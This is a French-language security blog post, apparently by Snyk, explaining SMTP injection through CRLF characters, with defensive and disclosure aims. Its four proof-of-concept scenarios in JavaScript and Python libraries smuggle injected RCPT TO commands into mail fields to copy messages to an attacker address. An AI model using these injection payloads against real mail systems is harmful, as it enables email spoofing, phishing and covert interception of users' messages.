Éviter l’injection SMTP : introduction à l’analyse en boîte blanche

Les vulnérabilités d’injection SMTP sont souvent mal comprises par les développeurs et les professionnels de la sécurité, et passent inaperçues aux outils d’analyse statique. Cet article explique comment des vulnérabilités courantes d’injection SMTP peuvent se trouver dans des bibliothèques et des applications, et vous donne des conseils pour les détecter et les corriger rapidement.

Introduction à SMTP

Le Simple Mail Transfer Protocol (SMTP) est un protocole de messagerie utilisé pour envoyer et recevoir des e-mails. Les clients de messagerie utilisés par les particuliers se servent généralement de SMTP pour envoyer des messages à un serveur de messagerie qui les relaie. Les serveurs SMTP utilisent couramment le protocole TCP sur le port 25 (en texte brut) et le port 587 (pour les communications chiffrées).

Les logiciels et applications modernes utilisent souvent le protocole SMTP dans le cadre d’un parcours utilisateur et envoient des e-mails à la suite d’une action de l’utilisateur. Les e-mails de confirmation d’inscription en sont un exemple : l’adresse e-mail de l’utilisateur est associée à un texte de bienvenue prédéfini, puis le message est relayé à un serveur SMTP qui l’envoie à son compte de messagerie.

Lors d’une session SMTP entre un client et un serveur SMTP, le client peut utiliser plusieurs commandes SMTP. En voici quelques exemples courants :

• HELO/EHLO - La commande HELO lance la conversation de la session SMTP, par exemple HELO snyk.io.

• MAIL FROM - La commande MAIL FROM lance un transfert de courrier en indiquant une adresse e-mail source, par exemple MAIL FROM "[foo@snyk.io](mailto:foo@snyk.io)".

• RCPT TO - La commande RCPT TO indique le destinataire de l’e-mail, par exemple RCPT TO "[foobar@snyk.io](mailto:foobar@snyk.io)".

• DATA - Avec la commande DATA, le client demande au serveur l’autorisation de transférer le contenu du message. Le code de réponse 354 accorde cette autorisation, et le client lance l’envoi du contenu de l’e-mail, ligne par ligne. La transmission DATA peut être terminée avec le caractère .

Voici un exemple de communication SMTP entre un client et un serveur.

1Server: 220 smtp.snyk.test ESMTP Postfix
2Client: HELO relay.snyk.test
3Server: 250 Hello relay.snyk.test, I am glad to meet you
4Client: MAIL FROM:<sams@snyk.test>
5S: 250 Ok
6C: RCPT TO:<jack@snyk.test>
7S: 250 Ok
8C: RCPT TO:<asaf@snyk.test>
9S: 250 Ok
10C: DATA
11S: 354 End data with <CR><LF>.<CR><LF>
12C: From: "Sam S" <sams@snyk.test>
13C: To: "Jack H" <jack@snyk.test>
14C: Cc: asaf@snyk.test
15C: Date: Tue, 15 Jan 2008 16:02:43 -0500
16C: Subject: Test message
17C:
18C: Hello Jack.
19C: This is a test.
20C: Your friend,
21C: Sam
22C: .
23S: 250 Ok: queued as 12345
24C: QUIT
25S: 221 Bye
26{The server closed the connection}

Qu’est-ce que l’injection SMTP ?

Une injection SMTP peut se produire lorsqu’un attaquant parvient à injecter des commandes SMTP arbitraires dans une communication SMTP entre un client et un serveur. Cela peut se faire en injectant des caractères CRLF supplémentaires provenant de paramètres contrôlés par l’utilisateur, qui sont intégrés à une commande SMTP sans validation ni assainissement adéquats.

Ces cas se rencontrent souvent dans les applications web qui utilisent des bibliothèques pour envoyer des commandes SMTP ou dont les implémentations internes ne valident pas les paramètres contrôlés par l’utilisateur.

L’impact d’une injection SMTP peut varier selon le contexte de l’application touchée. Parmi les conséquences courantes :

• Envoyer des copies d’e-mails à un tiers.

• Modifier le contenu du message envoyé au serveur SMTP.

• Exploiter l’application touchée par l’injection SMTP comme proxy pour mener des attaques de phishing.

Pour mieux comprendre l’injection SMTP, examinons les exemples suivants.

Scénario 1 d’injection SMTP

Les développeurs utilisent couramment des bibliothèques tierces pour envoyer des e-mails à un serveur SMTP, plutôt que les fonctions SMTP de la bibliothèque standard. smtp-client en est un exemple. smtp-client propose différents champs pour définir le nom d’hôte, l’authentification, le destinataire et les expéditeurs, qui peuvent ensuite être transmis dans un message SMTP.

1var smtp = require('smtp-client');
2let s = new smtp.SMTPClient({
3  host: '127.0.0.1',
4  port: 1225
5});
6
7(async function() {
8
9  await s.connect();
10
11  await s.greet({hostname: '127.0.01'}); // runs EHLO command or HELO as a fallback
12  await s.authPlain({username: 'testuser', password: 'testpass'}); // authenticates a user
13  await s.mail({from: 'from@sender.com'}); // runs MAIL FROM command
14  await s.rcpt({to: 'to@recipient.com'}); // runs RCPT TO command (run this multiple times to add more recii)
15  await s.data('mail source'); // runs DATA command and streams email source
16  await s.quit(); // runs QUIT command
17
18})().catch(console.error);

Cependant, imaginons qu’il soit impossible de définir le champ s.rcpt et que seul s.mail soit contrôlé par l’utilisateur. Dans ce cas, les caractères CRLF peuvent servir à insérer une nouvelle commande, par exemple from@sender.com>\r\nRCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io).

Exemple :

1await s.mail({from: 'from@sender.com>\r\nRCPT TO:<attacker@snyk.io'});

Aucune validation n’ayant été effectuée, le client SMTP traite les caractères CRLF et interprète RCPT TO:<[attacker@snyk.io](mailto:attacker@snyk.io) comme une nouvelle commande SMTP. L’image suivante montre cette commande acceptée par un serveur SMTP.

Outre smtp-client, Snyk a également découvert que les packages Perl Email MIME et Net::SMTP étaient vulnérables à l’injection SMTP via plusieurs champs. Cette faille a été signalée aux mainteneurs concernés, qui ont intégré des correctifs dans les dernières versions de ces packages.

Scénario 2 d’injection SMTP

Il existe également des bibliothèques de bas niveau dans plusieurs écosystèmes de langages, que les développeurs peuvent utiliser pour communiquer avec un serveur SMTP. smtp-channel en est un exemple.

Avec smtp-channel, les développeurs peuvent choisir de créer des e-mails destinés aux utilisateurs à partir des données qu’ils fournissent, puis de transmettre ces données à smtp-channel sous forme de flux. Dans ce cas, un attaquant peut ajouter des en-têtes et exploiter la session SMTP existante pour falsifier un e-mail. Le code suivant illustre cette faille :

1const {SMTPChannel} = require('smtp-channel');
2
3(async function() {
4    let handler = console.log;
5
6    let smtp = new SMTPChannel({
7      host: 'localhost',
8      port: 1225
9    });
10
11    var userinput = 'RCPT TO: <attacker@snyk.test>\r\nDATA\r\n\r\nFoo'
12    var userstream = 'EHLO mx.me.com\r\nMAIL FROM: <test@snyk.test>\r\n' + userinput + '\r\n.\r\n'
13    await smtp.connect({handler, timeout: 3000});
14    await smtp.write(userstream, {handler});
15    await smtp.write('QUIT\r\n', {handler});
16
17  })().catch(console.error);

Scénario 3 d’injection SMTP

Les bibliothèques de création d’e-mails utilisées avec des clients SMTP peuvent également être touchées par l’injection SMTP. On peut observer cette faille dans le package Python email, une bibliothèque permettant de gérer les messages électroniques. Ici, il est possible de provoquer une injection SMTP en fournissant des caractères CRLF au champ mail.headerregistry.Address.

1import smtplib
2
3from email.message import EmailMessage
4from email.headerregistry import Address
5from email.utils import make_msgid
6
7# Create the base text message.
8msg = EmailMessage()
9msg['Subject'] = "Example Subject"
10msg['From'] = Address("Sam", "Sanoop", "snyk.test")
11msg['To'] = (Address("Example", "One", "snyk.test>\r\ncC: Foo <attacker@snyk.test"))
12msg.set_content("""\
13Salut!
14
15Test Email 
16--Sam
17""")
18
19# Send the message via SMTP server.
20with smtplib.SMTP("127.0.0.1", 1225) as s:
21    s.login("testuser", "testpass")
22    s.set_debuglevel(2)
23    s.send_message(msg)

L’image suivante montre comment le caractère > ferme la commande RCPT existante et comment un nouvel en-tête cC est injecté à l’aide de \r\n. Celui-ci sera envoyé sous forme d’une nouvelle commande RCPT, comme illustré ci-dessous.

À noter que l’équipe de sécurité Python a corrigé cette vulnérabilité dans les versions 3.X. Cliquez ici pour consulter les notes de version complètes. Les versions 2.X restent toutefois vulnérables.

Scénario 4 d’injection SMTP

Lors de la recherche de vulnérabilités d’injection SMTP, notez que d’autres champs, comme le nom d’hôte et l’adresse source, peuvent également accepter des caractères CRLF et permettre ainsi une injection SMTP.

Dans l’exemple suivant, les champs From et To transmis à aiosmtplib sont assainis. Il reste cependant possible d’injecter du contenu dans source_address et d’insérer une commande SMTP arbitraire. Vous trouverez ci-dessous une preuve de concept (PoC) qui l’illustre :

1import asyncio
2from email.message import EmailMessage
3
4from aiosmtplib import SMTP
5
6async def say_hello():
7    message = EmailMessage()
8    message["From"] = "root@localhost"
9    message["To"] = "somebody@example.com"
10   ## message["Subject"] = "Hello World!\r\nFoo: Bar"
11    message.set_content("Sent via aiosmtplib")
12
13    smtp_client = SMTP(hostname="127.0.0.1", port=1225,source_address="bob.example.org\r\nRCPT TO: <attacker@attacker.com>")
14    async with smtp_client:
15        await smtp_client.send_message(message)
16
17event_loop = asyncio.get_event_loop()
18event_loop.run_until_complete(say_hello())

Cela génère la communication SMTP suivante.

Autres cas à prendre en compte

Dans certains cas, les bibliothèques de messagerie peuvent également permettre l’exécution de code. La fonction mail() en est un exemple. Si des données fournies par l’utilisateur sont transmises au 5e paramètre de la fonction mail(), un attaquant peut les exploiter pour exécuter du code. Cliquez ici pour consulter un exemple de cette faille.

Les vulnérabilités d’injection SMTP sont souvent confondues avec les vulnérabilités d’injection de courrier électronique. Dans le cas d’une injection de courrier électronique, un attaquant peut détourner une fonctionnalité de messagerie en utilisant une fonction SMTP pour envoyer des e-mails arbitraires et mener des attaques de phishing. En revanche, une injection SMTP consiste à utiliser des caractères CRLF pour injecter des en-têtes arbitraires, qui peuvent ensuite servir à falsifier des e-mails et à mener des attaques de phishing.

Prévenir l’injection SMTP

L’injection SMTP est une vulnérabilité souvent négligée par les développeurs et les mainteneurs de bibliothèques open source. Dans la plupart des cas, la correction incombe aux mainteneurs des bibliothèques. De nombreuses bibliothèques réputées, comme JavaMail, PHPMailer et RubyMail, empêchent déjà l’injection SMTP en assainissant les caractères CRLF. Pour les bibliothèques de bas niveau comme smtp-channel, il appartient au développeur qui les utilise de valider et d’assainir les données fournies par l’utilisateur.

Pour contribuer à la sécurité de la communauté open source, l’équipe Snyk Security a également signalé des vulnérabilités d’injection SMTP dans les bibliothèques suivantes.